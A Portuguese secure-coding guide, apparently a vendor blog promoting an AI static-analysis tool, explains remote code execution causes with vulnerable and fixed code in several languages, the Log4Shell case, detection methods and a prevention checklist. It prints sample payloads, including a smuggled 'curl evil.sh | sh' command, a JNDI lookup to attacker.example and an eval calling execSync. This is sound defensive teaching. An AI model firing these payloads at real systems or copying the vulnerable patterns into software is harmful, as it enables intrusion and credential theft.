Uma vulnerabilidade de execução remota de código (RCE, de remote code execution) permite que um atacante rode o próprio código ou comandos do sistema operacional no seu servidor, pela rede, sem nenhum acesso legítimo. Em quase todo modelo de ameaças é o pior cenário: quem executa código com os privilégios da sua aplicação consegue ler as credenciais do banco, roubar variáveis de ambiente, pular para serviços internos e deixar persistência.
Neste guia explicamos o que é RCE na prática: as causas que continuam gerando esse problema, código vulnerável e corrigido em várias linguagens, um caso real (Log4Shell) e como detectar e prevenir no seu próprio código.
O que é execução remota de código
RCE não é um tipo específico de bug. É um impacto: o atacante passa a decidir o que a CPU executa. Muitas falhas diferentes levam até lá. No OWASP Top 10 2025, ela aparece principalmente em A05 Injection, A08 Software or Data Integrity Failures (desserialização insegura) e A03 Software Supply Chain Failures (componentes vulneráveis).
Dois termos que aparecem bastante:
- RCE vs ACE: arbitrary code execution (ACE) é a capacidade geral de executar código arbitrário; RCE significa que isso pode ser disparado remotamente, por exemplo com uma requisição HTTP ou uma mensagem em uma fila.
- RCE pré-auth vs pós-auth: a pré-auth não exige login e é a mais perigosa. A pós-auth exige uma conta, o que em muitos SaaS significa "qualquer pessoa que se cadastrar".
As principais causas de RCE
1. Command injection
A aplicação monta um comando de shell concatenando input do usuário. O shell então interpreta caracteres como ;, |, && ou $( ) como novos comandos.
# Python, vulnerável
import os
def ping(host):
os.system("ping -c 1 " + host) # host = "8.8.8.8; curl evil.sh | sh"# Python, corrigido
import ipaddress, subprocess
def ping(host):
ipaddress.ip_address(host) # lança ValueError se não for um IP
subprocess.run(["ping", "-c", "1", host], check=True, timeout=5)A correção faz duas coisas: valida o input contra um formato estrito e passa os argumentos como lista, então nenhum shell interpreta nada. No Node.js o padrão é o mesmo:
// Node.js, vulnerável
const { exec } = require('child_process');
app.get('/convert', (req, res) => {
exec(`convert ${req.query.file} out.png`, (err) => res.send('ok'));
});
// Node.js, corrigido
const { execFile } = require('child_process');
app.get('/convert', (req, res) => {
const file = path.basename(req.query.file); // sem truques de path
if (!/^[\w-]+\.(jpg|png)$/.test(file)) return res.sendStatus(400);
execFile('convert', [file, 'out.png'], (err) => res.send('ok'));
});2. Desserialização insegura
Vários formatos de serialização nativos conseguem reconstruir objetos arbitrários, e reconstruir um objeto pode disparar código. Se o atacante controla os bytes serializados, ele controla o que roda.
pickleno Python: a própria documentação avisa para nunca desserializar dados de fonte não confiável, porque um pickle pode chamar qualquer função durante o carregamento.Marshal.loadno Ruby sobre dados do atacante (por exemplo, um cookie) tem o mesmo problema, via gadget chains nas classes carregadas.- YAML: loaders completos podem instanciar objetos. O PyYAML 6.0 tornou obrigatório o argumento
Loaderemyaml.load, e o Psych 4 no Ruby deixou oYAML.loadseguro por padrão, mas código antigo e loaders inseguros explícitos ainda são comuns. - A serialização nativa do Java (
ObjectInputStream.readObject) gerou muitas RCEs por meio de gadget chains em bibliotecas populares.
# Python, vulnerável
import pickle, yaml
session = pickle.loads(request.cookies["session"])
config = yaml.load(request.data, Loader=yaml.Loader)
# Python, corrigido
import json, yaml
session = json.loads(request.cookies["session"]) # mais uma verificação de assinatura
config = yaml.safe_load(request.data)# Ruby, vulnerável
prefs = Marshal.load(Base64.decode64(cookies[:prefs]))
# Ruby, corrigido
prefs = JSON.parse(cookies.signed[:prefs])// Java, vulnerável
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Order order = (Order) in.readObject();
// Java, corrigido: use um formato de dados, ou no mínimo um filtro allowlist
Order order = objectMapper.readValue(request.getInputStream(), Order.class);
// se a serialização nativa for inevitável:
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter("com.acme.Order;!*"));3. Server-side template injection (SSTI)
Engines como Jinja2, Twig, Freemarker ou ERB são pequenas linguagens de programação. Se o input do usuário vira parte do template em vez de uma variável, o atacante escreve código. Um teste rápido é enviar {{7*7}} e ver se a resposta mostra 49.
# Flask, vulnerável
@app.route("/hello")
def hello():
name = request.args.get("name", "")
return render_template_string(f"<h1>Olá {name}</h1>")
# Flask, corrigido: o template é constante, o input é dado
@app.route("/hello")
def hello():
return render_template_string("<h1>Olá {{ name }}</h1>",
name=request.args.get("name", ""))4. eval e avaliação dinâmica de código
eval, exec, new Function, instance_eval no Ruby ou assert com strings no PHP transformam dados em código. Aparecem muito em features de "fórmulas", calculadoras, motores de regras e ferramentas internas feitas às pressas.
// JavaScript, vulnerável
const total = eval(req.body.formula); // "require('child_process').execSync('id')"
// JavaScript, corrigido: faça parse de uma gramática restrita em vez de executar código
const total = evaluateArithmetic(req.body.formula); // tokenizer que só aceita dígitos e + - * / ( )5. Uploads em caminhos executáveis
Se um arquivo enviado fica dentro do web root e o servidor executa arquivos pela extensão (setups clássicos de PHP, JSP ou CGI), subir um shell.php e depois acessá-lo pela URL é uma RCE. Como corrigir: guardar uploads fora do web root ou em object storage, gerar nomes aleatórios, validar o tipo pelo conteúdo e não só pela extensão, e servir os arquivos com um content type não executável.
6. Dependências vulneráveis: o caso Log4Shell
Seu código pode estar perfeito e mesmo assim entregar uma RCE dentro de uma biblioteca. O caso mais famoso é o Log4Shell (CVE-2021-44228), divulgado em dezembro de 2021 com CVSS 10.0. O Apache Log4j 2 avaliava lookups JNDI dentro das strings registradas, então logar um header como ${jndi:ldap://attacker.example/a} fazia o servidor carregar código de um LDAP controlado pelo atacante. Segundo a página de segurança do Apache Log4j, as versões afetadas começavam na 2.0-beta9 e a correção para Java 8 em diante chegou na 2.15.0. Os CVEs relacionados (CVE-2021-45046, CVE-2021-45105 e CVE-2021-44832) foram resolvidos nas versões seguintes, e por isso a maioria das equipes padronizou na 2.17.1 ou superior.
A lição: uma RCE pode chegar por uma dependência transitiva que você nunca escolheu. Esse é o trabalho do software composition analysis e de manter um inventário como um SBOM, para responder "estamos afetados?" em minutos e não em dias.
O que um atacante faz depois de uma RCE
Entender o raio de impacto ajuda a priorizar. Depois de uma RCE bem-sucedida, o típico é:
- Ler variáveis de ambiente e arquivos de configuração atrás de URLs de banco, API keys e credenciais de cloud.
- Consultar o endpoint de metadata do provedor de cloud para obter credenciais IAM temporárias.
- Roubar ou criptografar dados, ou instalar um minerador de cripto.
- Se mover lateralmente para serviços internos que confiam no host comprometido.
- Criar persistência: um cron, uma nova chave SSH, uma imagem de contêiner alterada.
Por isso o privilégio mínimo importa mesmo depois de corrigir o bug: um processo que não alcança o endpoint de metadata, roda como usuário não root e tem o filesystem somente leitura transforma uma RCE catastrófica em um incidente contido.
Como detectar vulnerabilidades de execução remota de código
Nenhuma técnica sozinha encontra todas as RCEs, então vale combinar:
- SAST (análise estática): segue o input não confiável (parâmetros, headers, cookies, payloads de mensagens) até sinks perigosos:
os.system,subprocesscomshell=True,exec,eval,pickle.loads,Marshal.load,readObject,render_template_string. Entrega arquivo e linha antes do merge. Compare abordagens no nosso guia de ferramentas SAST. - SCA: sinaliza dependências com CVEs de RCE conhecidos e diz para qual versão atualizar. Em SAST vs SCA explicamos por que você precisa dos dois.
- DAST e pentest: confirmam a explorabilidade em um ambiente rodando. Veja SAST e DAST e análise de vulnerabilidades vs pentest para entender como se encaixam.
- Sinais em runtime: processos filhos inesperados do web server, conexões de saída para hosts desconhecidos e arquivos novos em diretórios da aplicação são fortes indícios de que algo já aconteceu.
O SAST baseado em regras funciona bem com os sinks óbvios, mas a RCE costuma se esconder atrás de wrappers próprios: um helper run_command em um arquivo de utils, um "plugin loader" que importa módulos pelo nome, um job runner que desserializa payloads do Redis. O AI SAST ajuda justamente aí, porque segue os dados através dos helpers e avalia se o input é mesmo controlado por um atacante. Por exemplo, o Nurbak se conecta ao GitHub, escaneia um repositório com o próprio modelo de IA self-hosted (a análise não envia seu código para a OpenAI nem para a Anthropic) e reporta vulnerabilidades exploráveis com arquivo e linha, além de CVEs em dependências via OSV com as versões corrigidas. Você pode encontrar vulnerabilidades no seu código com um scan gratuito que mostra completos os 3 achados mais importantes.
Checklist para prevenir RCE
- Nada de shell nem de concatenar strings. Use arrays de argumentos (
subprocess.run([...]),execFile,ProcessBuilder) e valide o input contra allowlists estritas. - Desserialize dados, não objetos. JSON ou protobuf para input não confiável.
yaml.safe_loadeYAML.safe_load. Se a serialização nativa do Java for inevitável, aplique umObjectInputFiltercom allowlist. - Templates são constantes. O input do usuário entra como variável, nunca como fonte do template.
- Proibido eval sobre dados do usuário. Faça parse de uma gramática restrita ou use uma biblioteca de expressões feita para input não confiável.
- Uploads na defensiva. Fora do web root, nomes aleatórios, validação de content type, sem permissão de execução.
- Atualize dependências continuamente. Lockfiles, SCA em cada pull request e alertas quando sai um CVE novo para um pacote que você já usa.
- Privilégio mínimo em runtime. Contêineres não root, filesystem somente leitura, egress restrito e nada de credenciais amplas de cloud nos hosts da aplicação.
- Proteja seus segredos. Uma RCE somada a uma chave vazada é pior do que qualquer uma das duas sozinha. Revise o histórico do git com um secret scanner e rotacione o que aparecer.
RCE vs SQL injection vs SSRF
Elas se confundem porque as três começam com input não confiável. A SQL injection permite ao atacante rodar queries no seu banco; a RCE permite rodar código no seu host; o SSRF faz seu servidor enviar requisições em nome dele. E dá para encadear: alguns bancos permitem executar comandos a partir do SQL, e um SSRF contra o serviço de metadata pode render credenciais que viram execução de código em outro lugar. Na hora de priorizar, trate qualquer uma delas como um possível caminho para RCE.
Conclusão
A execução remota de código quase nunca é exótica. Ela nasce de um punhado de erros repetíveis: comandos de shell montados com strings, desserialização nativa de dados não confiáveis, templates construídos com input, eval, uploads descuidados e bibliotecas sem atualização. Cada um tem uma correção conhecida. O difícil é achar todas as ocorrências em um codebase real e nas suas dependências, e é aí que a análise estática contínua e o SCA se pagam. Comece com um scan para encontrar vulnerabilidades no seu código e corrija primeiro os caminhos para RCE.
